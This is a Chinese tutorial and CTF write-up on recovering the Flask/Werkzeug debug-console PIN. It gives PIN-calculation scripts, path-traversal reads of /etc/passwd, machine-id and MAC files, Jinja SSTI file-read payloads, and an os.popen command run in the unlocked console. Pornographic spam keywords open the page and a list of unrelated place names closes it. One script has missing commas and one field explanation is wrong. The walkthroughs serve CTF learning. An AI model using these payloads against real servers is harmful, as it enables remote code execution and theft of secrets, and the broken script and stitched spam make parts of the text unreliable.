最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Flask框架實(shí)現(xiàn)debug模式下計(jì)算pin碼

 更新時(shí)間:2023年02月08日 09:16:16   作者:Ys3ter  
pin碼也就是flask在開(kāi)啟debug模式下,進(jìn)行代碼調(diào)試模式的進(jìn)入密碼。本文為大家整理了Flask框架在debug模式下計(jì)算pin碼的方法,需要的可以參考一下

什么是PIN碼

pin碼也就是flask在開(kāi)啟debug模式下,進(jìn)行代碼調(diào)試模式的進(jìn)入密碼,需要正確的PIN碼才能進(jìn)入調(diào)試模式

如何生成

這里就列一個(gè)了,前面全是獲取值,最后進(jìn)行加密,版本不同區(qū)別也就就是3.6與3.8的MD5加密和sha1加密不同

#生效時(shí)間為一周
PIN_TIME = 60 * 60 * 24 * 7


def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


_machine_id: t.Optional[t.Union[str, bytes]] = None

#獲取機(jī)器號(hào)
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
    global _machine_id

    if _machine_id is not None:
        return _machine_id

    def _generate() -> t.Optional[t.Union[str, bytes]]:
        linux = b""

        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue

            if value:
            #讀取文件進(jìn)行拼接
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
            #繼續(xù)進(jìn)行拼接,這里處理一下只要/docker后的東西
                linux += f.readline().strip().rpartition(b"/")[2]
        except OSError:
            pass

        if linux:
            return linux

        # On OS X, use ioreg to get the computer's serial number.
        try:
            # subprocess may not be available, e.g. Google App Engine
            # https://github.com/pallets/werkzeug/issues/925
            from subprocess import Popen, PIPE

            dump = Popen(
                ["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
            ).communicate()[0]
            match = re.search(b'"serial-number" = <([^>]+)', dump)

            if match is not None:
                return match.group(1)
        except (OSError, ImportError):
            pass

        # On Windows, use winreg to get the machine guid.
        if sys.platform == "win32":
            import winreg

            try:
                with winreg.OpenKey(
                    winreg.HKEY_LOCAL_MACHINE,
                    "SOFTWARE\\Microsoft\\Cryptography",
                    0,
                    winreg.KEY_READ | winreg.KEY_WOW64_64KEY,
                ) as rk:
                    guid: t.Union[str, bytes]
                    guid_type: int
                    guid, guid_type = winreg.QueryValueEx(rk, "MachineGuid")

                    if guid_type == winreg.REG_SZ:
                        return guid.encode("utf-8")

                    return guid
            except OSError:
                pass

        return None

    _machine_id = _generate()
    return _machine_id


class _ConsoleFrame:
    """Helper class so that we can reuse the frame console code for the
    standalone console.
    """

    def __init__(self, namespace: t.Dict[str, t.Any]):
        self.console = Console(namespace)
        self.id = 0


def get_pin_and_cookie_name(
    app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.

    Second item in the resulting tuple is the cookie name for remembering.
    """
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == "off":
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdigit():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin

    modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
    username: t.Optional[str]

    try:
        # getuser imports the pwd module, which does not exist in Google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(uuid.getnode()), get_machine_id()]

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name

PIN生成要素

  • 1. username,用戶(hù)名
  • 2. modname,默認(rèn)值為flask.app
  • 3. appname,默認(rèn)值為Flask
  • 4. moddir,flask庫(kù)下app.py的絕對(duì)路徑
  • 5. uuidnode,當(dāng)前網(wǎng)絡(luò)的mac地址的十進(jìn)制數(shù)
  • 6. machine_id,docker機(jī)器id

username

通過(guò)getpass.getuser()讀取,通過(guò)文件讀取/etc/passwd

modname

通過(guò)getattr(mod,“file”,None)讀取,默認(rèn)值為flask.app

appname

通過(guò)getattr(app,“name”,type(app).name)讀取,默認(rèn)值為Flask

moddir

當(dāng)前網(wǎng)絡(luò)的mac地址的十進(jìn)制數(shù),通過(guò)getattr(mod,“file”,None)讀取實(shí)際應(yīng)用中通過(guò)報(bào)錯(cuò)讀取

uuidnode

通過(guò)uuid.getnode()讀取,通過(guò)文件/sys/class/net/eth0/address得到16進(jìn)制結(jié)果,轉(zhuǎn)化為10進(jìn)制進(jìn)行計(jì)算

machine_id

每一個(gè)機(jī)器都會(huì)有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id,docker靶機(jī)則讀取/proc/self/cgroup,其中第一行的/docker/字符串后面的內(nèi)容作為機(jī)器的id,在非docker環(huán)境下讀取后兩個(gè),非docker環(huán)境三個(gè)都需要讀取

/etc/machine-id
/proc/sys/kernel/random/boot_id
/proc/self/cgroup

PIN生成腳本

官方是通過(guò)系統(tǒng)命令獲取相對(duì)應(yīng)的值,我們采用讀文件獲取值后放到腳本(也就是官方加密的方法)里進(jìn)行加密,3.6采用MD5加密,3.8采用sha1加密,所以腳本稍有不同

#MD5
import hashlib
from itertools import chain
probably_public_bits = [
     'flaskweb'# username
     'flask.app',# modname
     'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
     '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
     '25214234362297',# str(uuid.getnode()),  /sys/class/net/ens33/address
     '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
   h.update(b'pinsalt')
   num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
   for group_size in 5, 4, 3:
       if len(num) % group_size == 0:
          rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                      for x in range(0, len(num), group_size))
          break
       else:
          rv = num

print(rv)
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
    'root'# /etc/passwd
    'flask.app',# 默認(rèn)值
    'Flask',# 默認(rèn)值
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # 報(bào)錯(cuò)得到
]

private_bits = [
    '2485377581187',#  /sys/class/net/eth0/address 16進(jìn)制轉(zhuǎn)10進(jìn)制
    #machine_id由三個(gè)合并(docker就后兩個(gè)):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
    '653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'#  /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

CTFSHOW 801

按照順序一個(gè)一個(gè)拿數(shù)據(jù),username為root,modname和appname默認(rèn)

/file?filename=/etc/passwd

file?filename=

通過(guò)提示直接報(bào)錯(cuò)拿到app的絕對(duì)路徑

/file?filename=/sys/class/net/eth0/address

拿到uuidnode為2485377582164

最后拿id

file?filename=/proc/sys/kernel/random/boot_idfile?filename=/proc/self/cgroup

拼接的id為653dc458-4634-42b1-9a7a-b22a082e1fce82a63bb7ecca608814cba20ea8f8b92fc00dcbe97347ba1bfc4ccb6ff47ce7dc,扔到3.8腳本中跑得到143-510-975,找到console,輸入密碼

最后輸入命令拿到flag

import osos.popen('cat /flag').read()

[GYCTF2020]FlaskApp

一個(gè)編碼一個(gè)解碼還有一個(gè)hint提示,這個(gè)hint提示失敗乃成功之母,右鍵源代碼又發(fā)現(xiàn)<!-- PIN --->,嘗試/console頁(yè)面也發(fā)現(xiàn)需要pin密碼,到這里可以猜到要利用Flask的Debug模式,在decode頁(yè)面隨意輸入值發(fā)現(xiàn)報(bào)錯(cuò)

@app.route('/decode',methods=['POST','GET'])

def decode():

    if request.values.get('text') :

        text = request.values.get("text")

        text_decode = base64.b64decode(text.encode())

        tmp = "結(jié)果 : {0}".format(text_decode.decode())

        if waf(tmp) :

            flash("no no no !!")

            return redirect(url_for('decode'))

        res =  render_template_string(tmp)

這里通過(guò)render_template_string造成ssti注入,那么很容易想到通過(guò)ssti命令讀取各個(gè)文件拿到相應(yīng)的數(shù)據(jù)最后算出PIN

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('文件名','r').read() }}{% endif %}{% endfor %}
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('文件名').read()}}

讀取/etc/passwd獲取username

{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}
e3t7fS5fX2NsYXNzX18uX19tcm9fX1stMV0uX19zdWJjbGFzc2VzX18oKVsxMDJdLl9faW5pdF9fLl9fZ2xvYmFsc19fWydvcGVuJ10oJy9ldGMvcGFzc3dkJykucmVhZCgpfX0=

modname和appname仍為固定值flask.app、Flask,通過(guò)前面的報(bào)錯(cuò)也知道了app.py的絕對(duì)路徑

/usr/local/lib/python3.7/site-packages/flask/app.py

繼續(xù)找mac值

{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/sys/class/net/eth0/address').read()}}
e3t7fS5fX2NsYXNzX18uX19tcm9fX1stMV0uX19zdWJjbGFzc2VzX18oKVsxMDJdLl9faW5pdF9fLl9fZ2xvYmFsc19fWydvcGVuJ10oJy9zeXMvY2xhc3MvbmV0L2V0aDAvYWRkcmVzcycpLnJlYWQoKX19

mac地址轉(zhuǎn)換為十進(jìn)制后:226745935931860,最后找機(jī)器id,這里挺迷惑的,看教程大家都是找到/proc/self/cgroup里了,我這里找這個(gè)文件卻成這樣了

最后通過(guò)/etc/machine-id拿到1408f836b0ca514d796cbf8960e45fa1后通過(guò)腳本跑出145-284-488,在console頁(yè)面(也可以這樣進(jìn)入)

拿到flag

以上就是Flask框架實(shí)現(xiàn)debug模式下計(jì)算pin碼的詳細(xì)內(nèi)容,更多關(guān)于Flask debug計(jì)算pin碼的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

  • Python OpenCV特征檢測(cè)之特征匹配方式詳解

    Python OpenCV特征檢測(cè)之特征匹配方式詳解

    OpenCV中提供了兩種技術(shù)用于特征匹配,分別為Brute-Force匹配器和基于FLANN的匹配器。本文將為大家詳細(xì)介紹一下這兩種匹配方式,需要的可以參考一下
    2021-12-12
  • Python3多線程版TCP端口掃描器

    Python3多線程版TCP端口掃描器

    這篇文章主要為大家詳細(xì)介紹了Python3多線程版TCP端口掃描器,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2019-08-08
  • MindSpore導(dǎo)入CUDA算子的解決方案

    MindSpore導(dǎo)入CUDA算子的解決方案

    本文介紹了在MindSpore標(biāo)準(zhǔn)格式下進(jìn)行CUDA算子開(kāi)發(fā)的方法和流程,可以讓開(kāi)發(fā)者在現(xiàn)有的AI框架下仍然可以調(diào)用基于CUDA實(shí)現(xiàn)的高性能的算子,感興趣的朋友跟隨小編一起看看吧
    2024-05-05
  • Python flask框架請(qǐng)求體數(shù)據(jù)、文件上傳、請(qǐng)求頭信息獲取方式詳解

    Python flask框架請(qǐng)求體數(shù)據(jù)、文件上傳、請(qǐng)求頭信息獲取方式詳解

    這篇文章主要介紹了Python flask框架請(qǐng)求體數(shù)據(jù)、文件上傳、請(qǐng)求頭信息獲取方式詳解,本文通過(guò)實(shí)例代碼給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友參考下吧
    2024-03-03
  • Python之日期和時(shí)間包datetime的使用

    Python之日期和時(shí)間包datetime的使用

    這篇文章主要介紹了Python之日期和時(shí)間包datetime的使用方式,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2024-06-06
  • Python閉包的兩個(gè)注意事項(xiàng)(推薦)

    Python閉包的兩個(gè)注意事項(xiàng)(推薦)

    閉包就是根據(jù)不同的配置信息得到不同的結(jié)果。下面通過(guò)本文給大家分享Python閉包的兩個(gè)注意事項(xiàng),需要的朋友參考下
    2017-03-03
  • python如何拆分含有多種分隔符的字符串

    python如何拆分含有多種分隔符的字符串

    這篇文章主要為大家詳細(xì)介紹了python如何拆分含有多種分隔符的字符串,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2018-03-03
  • 使用python生成各種常見(jiàn)條形碼及二維碼

    使用python生成各種常見(jiàn)條形碼及二維碼

    條形碼和二維碼是現(xiàn)代信息交換和數(shù)據(jù)存儲(chǔ)的重要工具,它們將信息以圖形的形式編碼,便于機(jī)器識(shí)別和數(shù)據(jù)處理,本文將介紹如何使用Python快速生成各種常見(jiàn)的條形碼如Code 128、EAN-13,以及生成二維碼,需要的朋友可以參考下
    2024-07-07
  • Python中的遞歸函數(shù)使用詳解

    Python中的遞歸函數(shù)使用詳解

    這篇文章主要介紹了Python中的遞歸函數(shù)使用詳解,遞歸函數(shù)是指某個(gè)函數(shù)調(diào)用自己或者調(diào)用其他函數(shù)后再次調(diào)用自己,由于不能無(wú)限嵌套調(diào)用,所以某個(gè)遞歸函數(shù)一定存在至少兩個(gè)分支,一個(gè)是退出嵌套,不再直接或者間接調(diào)用自己;另外一個(gè)則是繼續(xù)嵌套,需要的朋友可以參考下
    2023-12-12
  • PyCharm使用教程之搭建Python開(kāi)發(fā)環(huán)境

    PyCharm使用教程之搭建Python開(kāi)發(fā)環(huán)境

    由于python的跨平臺(tái)性。在windows下和ubuntu下基本上沒(méi)什么差別。下面從幾個(gè)不步驟來(lái)搭建開(kāi)發(fā)環(huán)境。
    2016-06-06

最新評(píng)論

静乐县| 县级市| 和顺县| 聊城市| 曲阳县| 德化县| 阿图什市| 融水| 定西市| 阜平县| 宝兴县| 灵山县| 富源县| 长沙县| 延寿县| 郴州市| 社会| 湖口县| 望都县| 乌拉特后旗| 永胜县| 莱芜市| 尼勒克县| 阳曲县| 平原县| 丰顺县| 鲜城| 平和县| 建瓯市| 武冈市| 西充县| 屯门区| 沈丘县| 乌兰浩特市| 繁昌县| 遂平县| 乳源| 雷波县| 临湘市| 延寿县| 安龙县|